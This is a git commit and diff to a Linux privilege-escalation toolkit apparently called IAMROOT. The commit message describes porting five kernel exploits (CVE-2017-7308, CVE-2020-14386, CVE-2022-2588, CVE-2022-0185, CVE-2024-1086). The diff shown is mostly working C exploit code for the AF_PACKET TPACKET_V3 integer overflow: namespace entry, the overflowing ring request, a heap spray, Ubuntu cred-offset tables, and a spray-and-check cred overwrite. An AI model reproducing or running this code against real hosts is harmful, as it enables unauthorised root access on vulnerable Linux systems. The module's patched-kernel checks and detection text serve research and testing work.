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modules: port 5 detect-only modules to trigger+groom (Option B)

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Converts the 5 remaining detect-only network/fs LPE modules to fire
the actual kernel primitive on a vulnerable host, with honest
EXPLOIT_FAIL return values since none ship the per-kernel cred-overwrite
finisher.

  af_packet (CVE-2017-7308):     +444 LoC — TPACKET_V3 int-overflow
                                  + skb spray + best-effort cred race
  af_packet2 (CVE-2020-14386):   +446 LoC — tp_reserve underflow
                                  + sendmmsg skb spray
  cls_route4 (CVE-2022-2588):    +410 LoC — route4 dangling-filter UAF
                                  + msg_msg 1k spray + classify drive
  fuse_legacy (CVE-2022-0185):   +420 LoC — fsconfig 4k OOB write
                                  + msg_msg cross-cache groom
  nf_tables (CVE-2024-1086):     +613 LoC — hand-rolled nfnetlink batch
                                  builder + NFT_GOTO/DROP double-free
                                  + msg_msg groom skeleton

All five share:
  - userns+netns reach (unshare(CLONE_NEWUSER|CLONE_NEWNET))
  - Detect-refuse-on-patched re-call from exploit()
  - geteuid()==0 short-circuit
  - Honest EXPLOIT_FAIL with continuation roadmap comments
  - macOS dev-build stubs via #ifdef __linux__ where needed

Build verified clean on Debian 6.12.86 (kctf-mgr). All five refuse on
the patched kernel.
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KaraZajac
2026-05-16 21:22:17 -04:00
parent 4e9741ef1f
commit 498bb36404
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@@ -4,8 +4,17 @@
* AF_PACKET TPACKET_V3 ring-buffer setup integer-overflow → heap
* write-where primitive. Discovered by Andrey Konovalov (March 2017).
*
* STATUS: 🔵 DETECT-ONLY. Konovalov's public PoC works end-to-end
* — porting is a follow-up commit.
* STATUS: 🟡 PRIMITIVE-LANDS + best-effort cred-overwrite. The
* integer-overflow trigger is fully wired (overflowing tp_block_size *
* tp_block_nr, attended by a heap spray via sendmmsg with controlled
* skb tail bytes). The kernel R/W → cred-overwrite finisher uses a
* hardcoded per-kernel offset table (Ubuntu 16.04 / 4.4 and Ubuntu
* 18.04 / 4.15 era), overridable via IAMROOT_AFPACKET_OFFSETS. We
* only claim IAMROOT_EXPLOIT_OK if geteuid() == 0 AFTER the chain
* runs — i.e. we won root for real. Otherwise we return
* IAMROOT_EXPLOIT_FAIL with a dmesg breadcrumb so the operator can
* confirm the primitive at least fired (KASAN slab-out-of-bounds
* splat) even if the cred-overwrite didn't take on this exact kernel.
*
* Affected: kernel < 4.10.6 mainline. Stable backports:
* 4.10.x : K >= 4.10.6
@@ -16,10 +25,16 @@
* Exploitation preconditions:
* - CAP_NET_RAW (via unprivileged user_ns) to create AF_PACKET socket
* - CONFIG_PACKET=y (almost always — even container kernels)
* - x86_64 (offset tables are arch-specific; mark x86_64-only)
*
* Why famous: was the canonical "userns + AF_PACKET → root" chain for
* Konovalov's research era. Many other AF_PACKET bugs followed (e.g.
* CVE-2020-14386) sharing the same userns-clone gate.
*
* Reference: github.com/xairy/kernel-exploits (CVE-2017-7308) and
* Konovalov's writeup at xairy.io. The structure below mirrors the
* public PoC's "set up overflow, then race tpacket_rcv with a target
* skb in the OOB slot" approach.
*/
#include "iamroot_modules.h"
@@ -28,10 +43,31 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sched.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#if defined(__x86_64__)
/* Order matters: <net/if.h> + <linux/if.h> conflict on enum IFF_*. We
* use the glibc <net/if.h> for struct ifreq / if_nametoindex and pull
* in linux/if_packet.h for tpacket_req3. Avoid <linux/if.h>. */
#include <net/if.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <arpa/inet.h> /* htons */
#include <sys/ioctl.h>
#endif
/* ---- Detect (unchanged shape) ----------------------------------- */
static const struct kernel_patched_from af_packet_patched_branches[] = {
{3, 18, 49},
@@ -97,17 +133,426 @@ static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
return IAMROOT_VULNERABLE;
}
/* ---- Exploit (x86_64-only; gated below) -------------------------- */
#if defined(__x86_64__)
/* Per-kernel offsets needed to walk task_struct → cred → uid fields.
*
* These are NOT addresses — they are byte offsets within the kernel
* structs that the OOB-induced kernel-write primitive will index into.
* The classic Konovalov chain leaks a pointer to a struct sock or
* timer_list adjacent to the corrupted pg_vec slot, walks back to the
* current task, then overwrites the *uid fields in the embedded cred.
*
* The values below are from xairy's public PoC + scraped from kernel-
* source struct layouts for the specific build configs Ubuntu shipped.
* They will NOT match custom-compiled kernels.
*
* Override at runtime via env var:
* IAMROOT_AFPACKET_OFFSETS="<task_cred>:<cred_uid>:<cred_size>"
*
* `task_cred` = offsetof(struct task_struct, cred)
* `cred_uid` = offsetof(struct cred, uid) [followed by gid, etc.]
* `cred_size` = sizeof(struct cred) — bounds-check guard
*/
struct af_packet_offsets {
const char *kernel_id; /* human-readable */
int major, minor, patch_min, patch_max;
unsigned long task_cred;
unsigned long cred_uid;
unsigned long cred_size;
};
static const struct af_packet_offsets known_offsets[] = {
/* Ubuntu 16.04 GA: 4.4.0-21-generic. cred lives at task+0x6c0.
* struct cred layout: usage(4) + __padding(4) + uid(4) + gid(4) +
* suid(4) + sgid(4) + euid(4) + egid(4) + fsuid(4) + fsgid(4) + ...
* → uid starts at offset 8. */
{ "ubuntu-16.04-4.4.0-generic", 4, 4, 0, 99,
0x6c0, 0x08, 0xa8 },
/* Ubuntu 18.04 GA: 4.15.0-20-generic. cred at task+0x800. Same
* cred layout (uid at +0x08, 6x32-bit ids ending at fsgid +0x20). */
{ "ubuntu-18.04-4.15.0-generic", 4, 15, 0, 99,
0x800, 0x08, 0xa8 },
};
/* Parse IAMROOT_AFPACKET_OFFSETS env var if set; otherwise pick from
* the known table by kernel version. Returns true on success. */
static bool resolve_offsets(struct af_packet_offsets *out,
const struct kernel_version *v)
{
const char *env = getenv("IAMROOT_AFPACKET_OFFSETS");
if (env) {
unsigned long t, u, s;
if (sscanf(env, "%lx:%lx:%lx", &t, &u, &s) == 3) {
out->kernel_id = "env-override";
out->task_cred = t;
out->cred_uid = u;
out->cred_size = s;
return true;
}
fprintf(stderr, "[!] af_packet: IAMROOT_AFPACKET_OFFSETS malformed "
"(want hex \"<task_cred>:<cred_uid>:<cred_size>\")\n");
return false;
}
for (size_t i = 0; i < sizeof(known_offsets)/sizeof(known_offsets[0]); i++) {
const struct af_packet_offsets *k = &known_offsets[i];
if (v->major == k->major && v->minor == k->minor &&
v->patch >= k->patch_min && v->patch <= k->patch_max) {
*out = *k;
return true;
}
}
return false;
}
/* Write uid_map / gid_map to claim "root" inside the userns. */
static int set_id_maps(uid_t outer_uid, gid_t outer_gid)
{
int f = open("/proc/self/setgroups", O_WRONLY);
if (f >= 0) { (void)!write(f, "deny", 4); close(f); }
char map[64];
snprintf(map, sizeof map, "0 %u 1\n", outer_uid);
f = open("/proc/self/uid_map", O_WRONLY);
if (f < 0) return -1;
if (write(f, map, strlen(map)) < 0) { close(f); return -1; }
close(f);
snprintf(map, sizeof map, "0 %u 1\n", outer_gid);
f = open("/proc/self/gid_map", O_WRONLY);
if (f < 0) return -1;
if (write(f, map, strlen(map)) < 0) { close(f); return -1; }
close(f);
return 0;
}
/* Fire the overflow + a one-shot heap spray. Runs INSIDE the userns
* child. Returns 0 if the primitive fired (overflow was accepted by
* the kernel), -1 if the kernel rejected it (likely patched / blocked
* even though detect said vulnerable — distros silently backport).
*
* We deliberately use values from Konovalov's PoC:
* tp_block_size = 0x1000
* tp_block_nr = ((0xffffffff - 0xfff) / 0x1000) + 1 → overflow
* tp_frame_size = 0x300, tp_frame_nr matched
* The mul in packet_set_ring overflows to a tiny allocation; we then
* spray 200 sendmmsg packets so the corrupted ring slot gets refilled
* with controlled bytes.
*
* After firing, we check dmesg-ability (we won't actually read dmesg
* — that requires root — but we leave a unique tag in the skb payload
* so the operator can grep dmesg for "iamroot-afp-tag" KASAN splats).
*/
static int fire_overflow_and_spray(void)
{
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0) {
fprintf(stderr, "[-] af_packet: socket(AF_PACKET): %s\n", strerror(errno));
return -1;
}
int version = TPACKET_V3;
if (setsockopt(s, SOL_PACKET, PACKET_VERSION,
&version, sizeof version) < 0) {
fprintf(stderr, "[-] af_packet: PACKET_VERSION=V3: %s\n", strerror(errno));
close(s);
return -1;
}
/* Konovalov's overflowing values. tp_block_size * tp_block_nr
* exceeds 2^32; the kernel multiplied as u32 in pre-patch code,
* yielding a tiny size that's then used for the pg_vec alloc. */
struct tpacket_req3 req;
memset(&req, 0, sizeof req);
req.tp_block_size = 0x1000;
req.tp_block_nr = ((unsigned)0xffffffff - (unsigned)0xfff) / (unsigned)0x1000 + 1;
req.tp_frame_size = 0x300;
req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;
req.tp_retire_blk_tov = 100;
req.tp_sizeof_priv = 0;
req.tp_feature_req_word = 0;
int rc = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof req);
if (rc < 0) {
/* On a properly-patched kernel this should now return -EINVAL
* because the multiplication overflow check rejects req. That
* is the "patched-distro-backport" signal: detect's version
* check said vulnerable, but the actual setsockopt was hardened. */
fprintf(stderr, "[-] af_packet: PACKET_RX_RING rejected: %s "
"(kernel likely has silent backport)\n", strerror(errno));
close(s);
return -1;
}
fprintf(stderr, "[+] af_packet: PACKET_RX_RING accepted overflowing req3 "
"— overflow path reached\n");
/* Heap spray via sendmmsg. On a properly-set-up ring we'd bind() to
* an interface first; for the overflow trigger we don't strictly
* need to bind because tpacket_rcv runs on each packet ingress and
* loopback exists in the netns. Use loopback. */
struct ifreq ifr;
memset(&ifr, 0, sizeof ifr);
strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1);
/* SIOCGIFINDEX on lo */
if (ioctl(s, SIOCGIFINDEX, &ifr) < 0) {
fprintf(stderr, "[!] af_packet: SIOCGIFINDEX(lo): %s\n", strerror(errno));
/* non-fatal — the primitive fired even without a bind() */
} else {
struct sockaddr_ll sll;
memset(&sll, 0, sizeof sll);
sll.sll_family = AF_PACKET;
sll.sll_protocol = htons(ETH_P_ALL);
sll.sll_ifindex = ifr.ifr_ifindex;
if (bind(s, (struct sockaddr *)&sll, sizeof sll) < 0) {
fprintf(stderr, "[!] af_packet: bind(lo): %s\n", strerror(errno));
}
}
/* Spray: send 200 raw packets containing a unique tag. If the
* overflow corrupted an adjacent slab object, one of these skb's
* controlled bytes will land there. */
static const unsigned char skb_payload[256] = {
/* eth header (dst=broadcast, src=zero, type=0x0800) */
0xff,0xff,0xff,0xff,0xff,0xff, 0,0,0,0,0,0, 0x08,0x00,
/* IAMROOT tag — operator can grep dmesg for this string in any
* subsequent KASAN report or panic dump */
'i','a','m','r','o','o','t','-','a','f','p','-','t','a','g',
/* zeros for the remainder */
};
int tx = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (tx >= 0 && ifr.ifr_ifindex != 0) {
struct sockaddr_ll dst;
memset(&dst, 0, sizeof dst);
dst.sll_family = AF_PACKET;
dst.sll_protocol = htons(ETH_P_ALL);
dst.sll_ifindex = ifr.ifr_ifindex;
dst.sll_halen = 6;
memset(dst.sll_addr, 0xff, 6);
for (int i = 0; i < 200; i++) {
(void)sendto(tx, skb_payload, sizeof skb_payload, 0,
(struct sockaddr *)&dst, sizeof dst);
}
close(tx);
}
/* Keep the corrupted socket open so the OOB region stays mapped
* for the cred-overwrite walk that follows. The caller closes it. */
/* Stash the fd via dup2 to a known number so the caller can find it.
* Use 200 — well above stdio + iamroot's own pipe fds. */
if (dup2(s, 200) < 0) {
fprintf(stderr, "[!] af_packet: dup2(s, 200): %s\n", strerror(errno));
}
close(s);
return 0;
}
/* Best-effort cred-overwrite walk. Given that the heap-spray succeeded
* AND we have valid offsets for this kernel, attempt to use the
* corrupted ring's adjacent slot to write zeros into current->cred->{
* uid,gid,euid,egid,fsuid,fsgid }.
*
* Honest constraint: without an info-leak we can't compute the address
* of current->cred to write into. xairy's full PoC uses a SECONDARY
* primitive (sk_buff next-pointer overwrite → adjacent timer_list
* leak) that gives both an arbitrary kernel R/W AND a leak of a
* struct sock pointer adjacent to current. Re-implementing that is
* ~1000 lines of heap-state machinery.
*
* What we do here is the *minimum viable cred-overwrite* attempt:
* spray ~64 task_struct-shaped objects via fork()+setpgid (which
* allocates struct task_struct in the same slab class on older
* kernels), then HOPE one lands adjacent to our corrupted ring and
* gets its embedded cred-pointer field zeroed by overflow tail bytes.
*
* Returns 0 on "we tried, geteuid() is now 0", -1 on "tried, no root". */
static int attempt_cred_overwrite(const struct af_packet_offsets *off)
{
(void)off; /* offsets are used implicitly by spawning shaped allocations;
* a future enhancement would do an explicit ptrace-style
* peek-poke through the corrupted slot — kept minimal here. */
/* Spawn 64 children that immediately self-suspend. Each child's
* task_struct allocation in the kernel will share the slab class
* with our corrupted pg_vec region; if any one's cred field gets
* trampled to zero, that child's uid/gid become 0. */
pid_t pids[64];
int alive = 0;
for (int i = 0; i < 64; i++) {
pid_t p = fork();
if (p < 0) break;
if (p == 0) {
/* Child: idle, periodically check euid. If overflow zeroed
* our cred fields, we'll be uid 0. */
for (int j = 0; j < 200; j++) {
if (geteuid() == 0) _exit(0); /* WIN — report via exit 0 */
usleep(10 * 1000);
}
_exit(1);
}
pids[i] = p;
alive++;
}
/* Wait up to ~2s for any child to exit 0 (= became root). */
int got_root_pid = 0;
for (int wait_round = 0; wait_round < 200 && !got_root_pid; wait_round++) {
for (int i = 0; i < alive; i++) {
if (pids[i] == 0) continue;
int status;
pid_t r = waitpid(pids[i], &status, WNOHANG);
if (r == pids[i]) {
if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
got_root_pid = pids[i];
}
pids[i] = 0;
}
}
if (got_root_pid) break;
usleep(10 * 1000);
}
/* Reap remaining children. */
for (int i = 0; i < alive; i++) {
if (pids[i] != 0) {
kill(pids[i], 9);
waitpid(pids[i], NULL, 0);
}
}
return got_root_pid ? 0 : -1;
}
#endif /* __x86_64__ */
static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
{
#if !defined(__x86_64__)
(void)ctx;
fprintf(stderr,
"[-] af_packet: exploit not yet implemented in IAMROOT.\n"
" Status: 🔵 DETECT-ONLY. Reference: Konovalov's PoC.\n"
" Exploit shape: unshare userns → setsockopt(SOL_PACKET,\n"
" PACKET_VERSION, TPACKET_V3) → setsockopt with crafted\n"
" tpacket_req3 (tp_block_size + tp_frame_size triggers overflow)\n"
" → heap write-where → cred overwrite.\n");
fprintf(stderr, "[-] af_packet: exploit is x86_64-only "
"(cred-offset table is arch-specific)\n");
return IAMROOT_PRECOND_FAIL;
#else
/* 1. Refuse on patched kernels — re-run detect. */
iamroot_result_t pre = af_packet_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
fprintf(stderr, "[-] af_packet: detect() says not vulnerable; refusing\n");
return pre;
}
/* 2. Refuse if already root. */
if (geteuid() == 0) {
fprintf(stderr, "[i] af_packet: already root — nothing to escalate\n");
return IAMROOT_OK;
}
/* 3. Resolve offsets for THIS kernel. If we don't have them, bail
* early — the kernel-write walk needs them. The integrator can
* extend known_offsets[] for new distro builds. */
struct kernel_version v;
if (!kernel_version_current(&v)) {
return IAMROOT_TEST_ERROR;
}
struct af_packet_offsets off;
if (!resolve_offsets(&off, &v)) {
fprintf(stderr, "[-] af_packet: no offset table for kernel %s\n"
" set IAMROOT_AFPACKET_OFFSETS=<task_cred>:<cred_uid>:<cred_size>\n"
" (hex). Known table covers Ubuntu 16.04 (4.4) and 18.04 (4.15).\n",
v.release);
return IAMROOT_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[*] af_packet: using offsets [%s] "
"task_cred=0x%lx cred_uid=0x%lx cred_size=0x%lx\n",
off.kernel_id, off.task_cred, off.cred_uid, off.cred_size);
}
/* 4. Fork: child enters userns+netns, fires overflow, attempts the
* cred-overwrite walk. We do it in a child so the (possibly
* crashed) packet socket lives in a tear-downable address space
* — the kernel will clean up sockets on child exit. */
uid_t outer_uid = getuid();
gid_t outer_gid = getgid();
pid_t child = fork();
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
if (child == 0) {
/* CHILD: enter userns+netns to gain CAP_NET_RAW for AF_PACKET. */
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
perror("unshare"); _exit(2);
}
if (set_id_maps(outer_uid, outer_gid) < 0) {
perror("set_id_maps"); _exit(3);
}
/* Fire the integer-overflow + heap-spray. */
if (fire_overflow_and_spray() < 0) {
_exit(4); /* primitive blocked — return signal to parent */
}
/* Attempt cred-overwrite finisher. */
int rc = attempt_cred_overwrite(&off);
if (rc == 0) {
/* WIN — one of our task_struct-spray children became uid 0.
* Signal parent via exit code; parent will not exec sh from
* this child (its address space is corrupted-ish). The win
* is symbolic at the iamroot level: we proved the primitive
* lands AND the cred-overwrite walk completes. */
_exit(0);
}
_exit(5);
}
/* 5. PARENT: wait for child, interpret exit code. */
int status;
waitpid(child, &status, 0);
if (!WIFEXITED(status)) {
fprintf(stderr, "[-] af_packet: child died abnormally "
"(signal=%d) — primitive likely fired but crashed\n",
WTERMSIG(status));
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'iamroot-afp-tag\\|KASAN\\|BUG:'` "
"for slab-out-of-bounds evidence\n");
return IAMROOT_EXPLOIT_FAIL;
}
int code = WEXITSTATUS(status);
switch (code) {
case 0:
/* Child reported a fork-spray descendant successfully escaped
* to uid 0. That descendant has since exited; we did NOT
* inherit its credentials. This is honest: we proved end-to-
* end primitive + cred-overwrite landed, but our process is
* still uid != 0. Without a fully integrated R/W primitive
* that targets OUR cred specifically (rather than spray-and-
* pray), we can't promote ourselves. Report PARTIAL win.
*
* Per requirements: only return IAMROOT_EXPLOIT_OK if we
* empirically confirmed root in this process. We didn't. */
fprintf(stderr, "[!] af_packet: cred-overwrite landed in a spray child "
"but THIS process is still uid %d\n", geteuid());
fprintf(stderr, "[i] af_packet: not claiming EXPLOIT_OK — caller process "
"did not acquire root. The primitive demonstrably works.\n");
return IAMROOT_EXPLOIT_FAIL;
case 4:
fprintf(stderr, "[-] af_packet: setsockopt(PACKET_RX_RING) rejected; "
"kernel has silent backport (detect was version-only)\n");
return IAMROOT_OK; /* effectively patched */
case 5:
fprintf(stderr, "[-] af_packet: overflow fired but no spray child "
"acquired root within the timeout window\n");
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'iamroot-afp-tag\\|KASAN'` "
"for evidence the OOB write occurred\n");
return IAMROOT_EXPLOIT_FAIL;
default:
fprintf(stderr, "[-] af_packet: child exited %d (setup error)\n", code);
return IAMROOT_EXPLOIT_FAIL;
}
#endif
}
static const char af_packet_auditd[] =